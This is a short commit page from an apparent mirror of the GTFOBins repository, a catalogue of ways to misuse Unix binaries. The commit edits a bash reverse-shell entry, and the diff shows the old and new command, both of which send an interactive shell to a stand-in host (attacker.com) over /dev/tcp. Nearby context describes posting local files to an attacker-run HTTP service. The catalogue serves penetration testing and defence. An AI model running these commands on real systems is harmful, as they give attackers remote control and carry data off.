mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Clarify bash reverse shell
This commit is contained in:
parent
3a53c6339e
commit
0109792b7e
@ -7,7 +7,7 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
bash -c 'bash -i &>/dev/tcp/$RHOST/$RPORT 0<&1'
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user